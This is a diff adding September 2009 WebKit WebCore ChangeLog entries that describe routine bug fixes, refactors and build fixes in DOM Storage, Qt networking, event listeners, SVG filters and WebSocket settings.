+2009-09-30  Jeremy Orlow  <jorlow@chromium.org>
+
+        Build fix for QT.  Didn't know WebCore.pro existed.
+
+        * WebCore.pro:
+
+2009-09-30  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Add a method for removal of user scripts and stylesheets by URL from a specific world.
+
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::removeUserContentURLForWorld):
+        * page/PageGroup.h:
+
+2009-09-30  Chris Hawk  <hawk@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix for conditionals in the WebCore gyp file, which contained two separate
+        'conditions' values for the webcore target. The first entry was ignored,
+        resulting in some missine defines.
+        https://bugs.webkit.org/show_bug.cgi?id=29907
+
+        * WebCore.gyp/WebCore.gyp:
+
+2009-09-21  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        DOM Storage needs to be more careful about where "ThreadSafe" objects are destroyed.
+        https://bugs.webkit.org/show_bug.cgi?id=29265
+
+        DOM Storage needs to be more careful about where "ThreadSafe" objects are
+        destroyed.  With the current code, there actually isn't a race condition, but
+        it sure would be easy for someone to introduce one.  A bunch of
+        ThreadSafeShared objects have RefPtrs to objects that are NOT ThreadSafeShared
+        objects.  If it were possible any of these objects' destructors to be fired off
+        the main thread, then the you'd have a race condition.  The code should be more
+        clear and self-documenting about how things related to each other.
+
+        Since the lifetime of a LocalStorageTask is bounded by the LocalStorageThread
+        which is bounded by the StorageSyncManager, StorageAreaImpl, and
+        StorageAreaSync, there's no reason for LocalStorageTask to store anything other
+        than pointers.  By breaking this dependency, we can eliminate the risk.
+
+        Note that we _could_ have LocalStorageThread's task queue just store
+        LocalStorageTask*'s rather than RefPtr<LocalStorageTask>s but then we'd need to
+        manually take care of deleting.  It'd probably also be possible to change
+        LocalStorageThread around so that it needn't hold onto a reference of itself
+        and have a more deterministic shutdown, but my initial attempts to do so
+        failed, and I decided it wasn't worth changing.  The queue is killed before
+        hand, so the thread is 100% impotent before the main thread continues anyway.
+
+        The constructors and destructors of StorageSyncManager, StorageAreaImpl, and
+        StorageAreaSync now have ASSERTs to verify they're running on the main thread. 
+        I'm fairly positive that it'd be impossible to hit these asserts and the fact
+        that these classes are no longer ThreadSafeShared should make it clear how
+        they're meant to be used, but I think it's worth it to be extra sure.  Of
+        course, ideally, we'd have such an assert every time a ref is incremented or
+        decremented.
+
+        Behavior should be unchanged and this is just an internal code cleanup, so no
+        new tests.
+
+        * storage/LocalStorageTask.cpp:
+        (WebCore::LocalStorageTask::LocalStorageTask):
+        (WebCore::LocalStorageTask::performTask):
+        * storage/LocalStorageTask.h:
+        (WebCore::LocalStorageTask::createImport):
+        (WebCore::LocalStorageTask::createSync):
+        (WebCore::LocalStorageTask::createTerminate):
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::scheduleImport):
+        (WebCore::LocalStorageThread::scheduleSync):
+        * storage/LocalStorageThread.h:
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::~StorageAreaImpl):
+        (WebCore::StorageAreaImpl::StorageAreaImpl):
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        (WebCore::StorageAreaSync::~StorageAreaSync):
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::StorageSyncManager):
+        (WebCore::StorageSyncManager::~StorageSyncManager):
+        (WebCore::StorageSyncManager::scheduleImport):
+        (WebCore::StorageSyncManager::scheduleSync):
+        * storage/StorageSyncManager.h:
+
+2009-09-28  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium needs to be able to override the way storage events are delivered
+        https://bugs.webkit.org/show_bug.cgi?id=29655
+
+        Chromium needs to be able to override the way storage events are delivered.
+        This replaced https://bugs.webkit.org/show_bug.cgi?id=29257 because it'll be
+        faster (no vtables and extra allocation) and somewhat cleaner (no dependency
+        injection).  This is necessary because Chromium needs to transport events across
+        a process barrier and then dispatch them without use of a Frame*.
+
+        Behavior should not change with this, so no updates to tests.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::setItem):
+        (WebCore::StorageAreaImpl::removeItem):
+        (WebCore::StorageAreaImpl::clear):
+        * storage/StorageAreaImpl.h:
+        * storage/StorageEventDispatcher.cpp: Copied from WebCore/storage/StorageAreaImpl.cpp.
+        (WebCore::StorageEventDispatcher::dispatch):
+        * storage/StorageEventDispatcher.h: Added.  (Well, technically in the other half of this patch.)
+
+2009-09-30  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Need to check NULL frame in EventHandler::updateDragAndDrop.
+        https://bugs.webkit.org/show_bug.cgi?id=29929
+
+        Test: http/tests/misc/drag-over-iframe-invalid-source-crash.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::updateDragAndDrop):
+
+2009-09-29  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        ASSERTION FAILED: !repaintContainer || repaintContainer == this
+        https://bugs.webkit.org/show_bug.cgi?id=29755
+        
+        Generalize the fix for this bug to account for cases where there may be multiple
+        containing blocks between the repaint container, and the container of the element
+        being repainted.
+
+        Test: compositing/repaint/opacity-between-absolute2.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::mapLocalToContainer):
+        Call offsetFromAncestorContainer() to get the correct offset.
+        
+        (WebCore::RenderBox::computeRectForRepaint): Ditto
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::computeRectForRepaint): Ditto.
+        
+        * rendering/RenderObject.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::offsetFromAncestorContainer):
+        New method that computes an offset from some object in the ancestor container() chain.
+
+2009-09-30  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix TextCodecQt::decode method after r48752 to return a non-null string if the length of the input is 0.
+        This fixes https://bugs.webkit.org/show_bug.cgi?id=29736.
+
+        * platform/text/qt/TextCodecQt.cpp:
+        (WebCore::TextCodecQt::decode):
+
+2009-09-29  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Fix a couple of bugs with patterns.  Move the setting of the document URL to before the style
+        selector gets constructed so that pattern match testing gets the correct URL.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin):
+        * page/UserContentURLPattern.cpp:
+        (WebCore::UserContentURLPattern::parse):
+
+2009-09-29  Alexey Proskuryakov  <ap@apple.com>
+
+        Rubber-stamped by Brady Eidson.
+
+        Assertion failure in http/tests/xmlhttprequest/failed-auth.html.
+
+        I couldn't find out why this only started to happen now, but it was incorrect to check
+        persistence of a credential returned by CredentialStorage::get() without checking that it
+        was non-null. When there is no credential for the protection space in storage, get()
+        returns a new object, and Credentil constructor doesn't initialize m_persistence.
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreSynchronousLoader connection:didReceiveAuthenticationChallenge:]): Moved the
+        assertion after credential null check.
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Added the same persistence
+        assertion, matching sync code (and CF one, as well).
+
+2009-09-29  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Darin Adler.
+
+        Add an ASSERT for UTF8Encoding().isValid()
+        https://bugs.webkit.org/show_bug.cgi?id=29908
+
+        * platform/text/TextEncoding.cpp:
+        (WebCore::UTF8Encoding):
+
+2009-09-29  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29892
+        Add support for whitelist patterns to control conditional injection of user scripts and
+        user stylesheets.
+
+        No new tests. Not testable until WebKit portion is added in followup patch.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/Document.cpp:
+        (WebCore::Document::pageGroupUserSheets):
+        * page/Frame.cpp:
+        (WebCore::Frame::injectUserScriptsForWorld):
+        * page/UserContentURLPattern.cpp: Added.
+        (WebCore::UserContentURLPattern::matchesPatterns):
+        (WebCore::UserContentURLPattern::parse):
+        (WebCore::UserContentURLPattern::matches):
+        (WebCore::UserContentURLPattern::matchesHost):
+        (WebCore::MatchTester::MatchTester):
+        (WebCore::MatchTester::testStringFinished):
+        (WebCore::MatchTester::patternStringFinished):
+        (WebCore::MatchTester::eatWildcard):
+        (WebCore::MatchTester::eatSameChars):
+        (WebCore::MatchTester::test):
+        (WebCore::UserContentURLPattern::matchesPath):
+        * page/UserContentURLPattern.h: Added.
+        (WebCore::UserContentURLPattern::UserContentURLPattern):
+        (WebCore::UserContentURLPattern::scheme):
+        (WebCore::UserContentURLPattern::host):
+        (WebCore::UserContentURLPattern::path):
+        (WebCore::UserContentURLPattern::matchSubdomains):
+
+2009-09-29  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Reproducible crash pressing return inside quoted content
+        at WebCore::BreakBlockquoteCommand::doApply.
+        <rdar://problem/7085453>
+        In some case, like the one provided in the test case, m_downStreamEnd
+        refers to a node that gets deleted when executing the DeleteSelectionCommand.
+        We shouldn't use m_downStreamEnd to recalculate the new m_endPosition when
+        pruning is needed, because it may be point to a node that has been deleted, but
+        rather rely on removeNode in CompositeEditCommand to update m_endPosition correctly.
+
+        Test: editing/selection/blockquote-crash.html
+
+        * editing/BreakBlockquoteCommand.cpp:
+        (WebCore::BreakBlockquoteCommand::doApply): Added check for invalid position
+        to avoid dereferencing a null node pointer.
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::mergeParagraphs): Don't reset m_endPosition
+        using the value in m_downStreamEnd when it is necessary to prune the start block.
+        
+2009-09-29  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        Basic authentication credentials are not sent automatically to top resources
+        https://bugs.webkit.org/show_bug.cgi?id=29901
+
+        No new tests - I don't want to pollute root directory of http tests to check for this rather
+        minor issue.
+
+        * platform/network/CredentialStorage.cpp:
+        (WebCore::CredentialStorage::set): Changed to always preserve leading slash.
+        (WebCore::CredentialStorage::getDefaultAuthenticationCredential): Made breaking out of the
+        loop more explicit.
+
+2009-09-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Web Inspector REGRESSION(r47820-r47822): Profiles aren't
+        added to the inspector unless the inspector is already open
+        when the profile completes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29897
+
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype._populateProfiles):
+
+2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Rubberstamped by David Hyatt.
+
+        Fix to logic of earlier commit 48902.
+
+        When merging two if's before committing, I forgot to invert the
+        bool check.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::ignoreHttpError):
+
+2009-09-29  Stephen White  <senorblanco@chromium.org>
+
+        Unreviewed, build fix.
+
+        Fixing Chromium build, following r48884.
+
+        [https://bugs.webkit.org/show_bug.cgi?id=29894]
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::handleEvent):
+        * bindings/v8/V8AbstractEventListener.h:
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::handleEvent):
+        * bindings/v8/V8WorkerContextEventListener.h:
+
+2009-09-29  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Follows HTML5's maxLength change in September 2009.
+        - Change HTMLTextAreaElement.maxLength type to signed.
+        - HTMLTextAreaElement.maxLength returns -1 if maxlength= attribute is missing.
+        - HTMLTextAreaElement.maxLength and HTMLInputElement.maxLength
+          throw INDEX_SIZE_ERR for setting negative values.
+        https://bugs.webkit.org/show_bug.cgi?id=29796
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setMaxLength):
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::handleBeforeTextInsertedEvent):
+        (WebCore::HTMLTextAreaElement::maxLength):
+        (WebCore::HTMLTextAreaElement::setMaxLength):
+        * html/HTMLTextAreaElement.h:
+        * html/HTMLTextAreaElement.idl:
+
+2009-09-29  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r48894, because review discussion was not complete.
+        http://trac.webkit.org/changeset/48894
+
+        * platform/sql/SQLiteTransaction.cpp:
+        (WebCore::SQLiteTransaction::begin):
+
+2009-09-29  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG Filter feComposite implementation is missing
+        [https://bugs.webkit.org/show_bug.cgi?id=28362]
+
+        feComposite implementation for SVG.
+
+        Test: svg/filters/feComposite.svg
+
+        * platform/graphics/filters/FEComposite.cpp:
+        (WebCore::arithmetic):
+        (WebCore::FEComposite::apply):
+
+2009-09-29  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Starting all read-only transactions with an explicit BEGIN
+        DEFERRED command instead of BEGIN, since some ports (chromium)
+        might compile their own SQLite library and set BEGIN to BEGIN
+        IMMEDIATE by default; which would result in a deadlock in case of
+        two concurrent read-only transactions on the same DB, and would
+        unnecessarily delay other potential transactions to the same DB.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29729
+
+        * platform/sql/SQLiteTransaction.cpp:
+        (WebCore::SQLiteTransaction::begin):
+
+2009-09-29  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add support for run-time flag for 3D canvas
+        https://bugs.webkit.org/show_bug.cgi?id=29826
+
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext): Check page settings for
+        experimental WebGL flag before returning 3D graphics context.
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings): Initialize new flag to false.
+        (WebCore::Settings::setExperimentalWebGLEnabled):
+        * page/Settings.h: Set new flag.
+        (WebCore::Settings::experimentalWebGLEnabled): Return new flag.
+
+2009-09-29  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium needs to be able to override the way storage events are delivered - part 1
+        https://bugs.webkit.org/show_bug.cgi?id=29889
+
+        Chromium needs to be able to override the way storage events are delivered.
+        This replaced https://bugs.webkit.org/show_bug.cgi?id=29257 because it'll be
+        faster (no vtables and extra allocation) and somewhat cleaner (no dependency
+        injection).  This is necessary because Chromium needs to transport events across
+        a process barrier and then dispatch them without use of a Frame*.
+
+        This patch should be a no-op for all ports other than Chromium.
+
+        * WebCore.gypi:
+        * storage/StorageEventDispatcher.h: Added.
+
+2009-09-29  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (missed file).
+
+        Adding file missed in previous commit.
+
+        * manual-tests/gtk/resources/long_cell.cur: Copied from WebCore/dom/PositionCreationFunctions.h.
+
+2009-09-29  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] Correct an issue with XMLHttpRequest attribute event listeners never being cleared.
+        https://bugs.webkit.org/show_bug.cgi?id=29888
+
+        Test: LayoutTests/http/tests/xmlhttprequest/xmlhttprequest-abort-readyState-shouldDispatchEvent.html
+
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::getEventListener): Added isAttribute parameter.
+        (WebCore::ACCESSOR_SETTER): Made all event listener setters create attribute listeners.
+        (WebCore::CALLBACK_FUNC_DECL): Made addEventListener create object listener.
+
+2009-09-22  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Fix corruption for non-square images.
+
+        [GTK] REGRESSION: BitmapImage::getGdkPixbuf fails for non-square images
+        https://bugs.webkit.org/show_bug.cgi?id=29654
+
+        Added an additional manual-test for this issue to the existing Gtk
+        cursor image test.
+
+        * manual-tests/gtk/cursor-image.html:
+        * manual-tests/gtk/resources/long_cell.cur: Added.
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (WebCore::BitmapImage::getGdkPixbuf):
+
+2009-09-29  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Build fix - pass a proper ScriptExecutipnContext to getEventListenerHandlerBody()
+
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::getEventListenerHandlerBody):
+        * bindings/js/ScriptEventListener.h:
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::getEventListenerHandlerBody):
+        * bindings/v8/ScriptEventListener.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
+
+2009-09-29  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Ensure that we don't scroll lock to an anchor node after a
+        user-initiated scroll, even if that scroll doesn't propagate
+        all the way up to FrameView.
+
+        Test: fast/events/node-event-anchor-lock.html
+
+        * page/EventHandler.cpp: Call setFrameWasScrolledByUser() when a scroll is handled by a node rather than a frame.
+        (WebCore::EventHandler::scrollOverflow):
+        (WebCore::EventHandler::handleWheelEvent):
+        (WebCore::EventHandler::sendScrollEvent): Use setFrameWasScrolledByUser();
+        (WebCore::EventHandler::setFrameWasScrolledByUser): Split out of sendScrollEvent();
+        (WebCore::EventHandler::passMousePressEventToScrollbar):
+        * page/EventHandler.h: Declare setFrameWasScrolledByUser().
+
+2009-09-28  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler and Sam Weinig.
+
+        Onclick not fired for an element copied with cloneContents() or cloneNode()
+        https://bugs.webkit.org/show_bug.cgi?id=25130
+
+        The change here is that JS event listeners don't keep a reference to a global object from
+        where they were created, and instead take it as a parameter when parsing source code. Also,
+        the listener creation won't fail just because it happens for an element in a frameless
+        document.
+        Thus, moving nodes between documents no longer results in having incorrect registered
+        lazy event listeners on them.
+
+        Tests: fast/events/attribute-listener-cloned-from-frameless-doc-context-2.html
+               fast/events/attribute-listener-cloned-from-frameless-doc-context.html
+               fast/events/attribute-listener-cloned-from-frameless-doc.xhtml
+               fast/events/attribute-listener-extracted-from-frameless-doc-context-2.html
+               fast/events/attribute-listener-extracted-from-frameless-doc-context.html
+
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::JSEventListener): Don't take a reference to JSDOMGlobalObject.
+        (WebCore::JSEventListener::jsFunction): Take ScriptExecutionContext as a parameter for
+        getting to JSDOMGlobalObject. It's not used in base class, but is in JSLazyEventListner.
+        (WebCore::JSEventListener::markJSFunction): Don't mark the global object.
+        (WebCore::JSEventListener::handleEvent): Get global object from ScriptExecutionContext.
+        (WebCore::JSEventListener::reportError): Ditto.
+
+        * bindings/js/JSEventListener.h: (WebCore::JSEventListener::create): Don't keep a reference
+        to JSDOMGlobalObject.
+
+        * bindings/js/JSLazyEventListener.cpp: (WebCore::JSLazyEventListener::parseCode): Listener
+        creation was split between this function and ScriptEventListener; moved it here, as JS
+        global object can be different now.
+
+        * bindings/js/JSLazyEventListener.h: (WebCore::JSLazyEventListener::create): Keep source URL,
+        which can not be determined at parsing time.
+
+        * bindings/js/ScriptEventListener.cpp: (WebCore::createAttributeEventListener): Moved code
+        for listener creation to JSLazyEventListener. XSSAuditor code remains here, because tests
+        expect that errors are logged at document parsing time, and because I don't know what other
+        side effects moving it vould have.
+
+        * dom/EventListener.h: handleEvent() and reportError() now take ScriptExecutionContext,
+        because JSC needs a global context here.
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::addEventListener):
+        (WebCore::JSDOMWindow::removeEventListener):
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::addEventListener):
+        (WebCore::JSWorkerContext::removeEventListener):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
+        * bindings/objc/ObjCEventListener.h:
+        * bindings/objc/ObjCEventListener.mm:
+        (WebCore::ObjCEventListener::handleEvent):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::fireEventListeners):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::handleEvent):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::handleEvent):
+        * inspector/InspectorDOMStorageResource.h:
+        * loader/ImageDocument.cpp:
+        (WebCore::ImageEventListener::handleEvent):
+        * svg/animation/SVGSMILElement.cpp:
+        (WebCore::ConditionEventListener::handleEvent):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::reportException):
+        Don't pass global object to JSEventListener::create(), which no longer needs it.
+        Note that some of these functions still have an early return for null global object, which
+        can probably be removed in a later patch.
+        Pass ScriptExecutionContext to EventListener methods that now need it.
+
+        * bindings/scripts/CodeGeneratorCOM.pm: Don't force EventTarget implementation on Node -
+        it doesn't work yet (it didn't quite work before this patch, too, because it assumed that
+        any object implementing EventTarget COM interface originated from WebCore).
+
+        * dom/EventListener.idl: Just like in ObjC, EventListener should be a pure interface in
+        COM bindings.
+
+2009-09-28  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Removed virtual destructor from JSGlobalObjectData to eliminate pointer
+        fix-ups when accessing JSGlobalObject::d.
+        
+        Replaced with an explicit destructor function pointer.
+
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::destroyJSDOMGlobalObjectData):
+        * bindings/js/JSDOMGlobalObject.h:
+        (WebCore::JSDOMGlobalObject::JSDOMGlobalObjectData::JSDOMGlobalObjectData):
+
+2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Don't rely on QNetworkReply::NetworkError codes, but
+        on HTTP error codes instead.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::ignoreHttpError):
+        (WebCore::QNetworkReplyHandler::finish):
+
+2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Use const references when using Qt's foreach.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Fix handling of QNetworkReply errors.
+
+        In the QNetworkReplyHandler::finish() a response was sent even when
+        the reply contained an error. This resulted in a sendResponseIfNeeded()
+        calling didReceiveResponse on the client, leading to the destruction
+        of the m_resourceHandle, discontinuing further processing in finish(),
+        and thus not calling didFail on the client.
+
+        Instead it continued as everything went fine, and
+        FrameLoaderClientQt::dispatchDecidePolicyForMIMEType() changed the
+        policy to PolicyDownload due to not being able to show the non existing
+        MIMEType. As the download also obviously fails, it ended up with a
+        policy change error.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::finish):
+
+2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        The code for showing error pages when the response was
+        a 401/403/404, was not actually doing so. This patch
+        fixes that.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::finish):
+
+2009-09-28  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        <rdar://problem/7259965> REGRESSION: http/tests/xmlhttprequest/cross-origin-authorization.html
+        is failing/crashing intermittently
+        https://bugs.webkit.org/show_bug.cgi?id=29322
+
+        This was caused by CStringBuffer::encodeBase64() returning a buffer that wasn't zero terminated.
+        The code had other issues as well, so I removed it altogether:
+        - it claimed to avoid some buffer copies, but it didn't;
+        - and I don't think that base64 encoding should be part of CString interface.
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::encodeBasicAuthorization): Encode username and password using Base64.h directly.
+        (WebCore::ResourceHandle::start): Use encodeBasicAuthorization().
+        (+[WebCoreSynchronousLoader loadRequest:allowStoredCredentials:returningResponse:error:]): Ditto.
+        (-[WebCoreSynchronousLoader connection:willSendRequest:redirectResponse:]): Extended logging
+        to synchronous case.
+        (-[WebCoreSynchronousLoader connectionShouldUseCredentialStorage:]): Ditto.
+        (-[WebCoreSynchronousLoader connection:didReceiveAuthenticationChallenge:]): Ditto.
+        (-[WebCoreSynchronousLoader connection:didReceiveResponse:]): Ditto.
+        (-[WebCoreSynchronousLoader connection:didReceiveData:]): Ditto.
+        (-[WebCoreSynchronousLoader connectionDidFinishLoading:]): Ditto.
+        (-[WebCoreSynchronousLoader connection:didFailWithError:]): Ditto.
+
+        * platform/network/cf/ResourceHandleCFNet.cpp: Matched Mac changes.
+
+        * platform/text/CString.cpp:
+        * platform/text/CString.h:
+        (WebCore::CStringBuffer::create):
+        (WebCore::CStringBuffer::CStringBuffer):
+        Removed code that was added for Base64 in r48363.
+
+2009-09-29  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix typo in Localizations.cpp
+
+        https://bugs.webkit.org/show_bug.cgi?id=29872
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::localizedMediaControlElementHelpText):
+
+2009-09-29  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Make the XSLT conditional in DOMWindow.idl's xsltProcessor
+        attribute conditional in the generated files, similar to
+        r44116.
+
+        * page/DOMWindow.idl:
+
+2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann and Tor Arne Vestbø.
+
+        Use the ResourceError as it is supposed to and handle
+        not HTTP errors from QNetworkReply.
+
+        Thanks to Adam Roben for his input.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::finish):
+
+2009-09-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Encapsulate JS listeners specifics into ScriptEventListener.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29816
+
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::getEventListenerHandlerBody):
+        * bindings/js/ScriptEventListener.h:
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::getEventListenerHandlerBody):
+        * bindings/v8/ScriptEventListener.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
+
+2009-09-29  Xan Lopez  <xlopez@igalia.com>
+
+        Unreviewed attempt to fix the build.
+
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+
+2009-09-28  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add experimentalWebSocketsEnabled in Settings.
+        https://bugs.webkit.org/show_bug.cgi?id=28941
+
+        * WebCore.base.exp:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::webSocket):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getConstructor):
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setExperimentalWebSocketsEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::experimentalWebSocketsEnabled):
+        
+2009-09-11  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add platform code to support WebSocket for chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=29171
+
+        To build within chromium tree, it requires a patch in bug 29174.
+        Real implementation will be landed in chromium tree.
+
+        * WebCore.gypi:
+        * platform/network/chromium/SocketStreamError.h: Added.
+        (WebCore::SocketStreamError::SocketStreamError):
+        * platform/network/chromium/SocketStreamHandle.h: Added.
+        (WebCore::SocketStreamHandle::create):
+
+2009-09-28  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
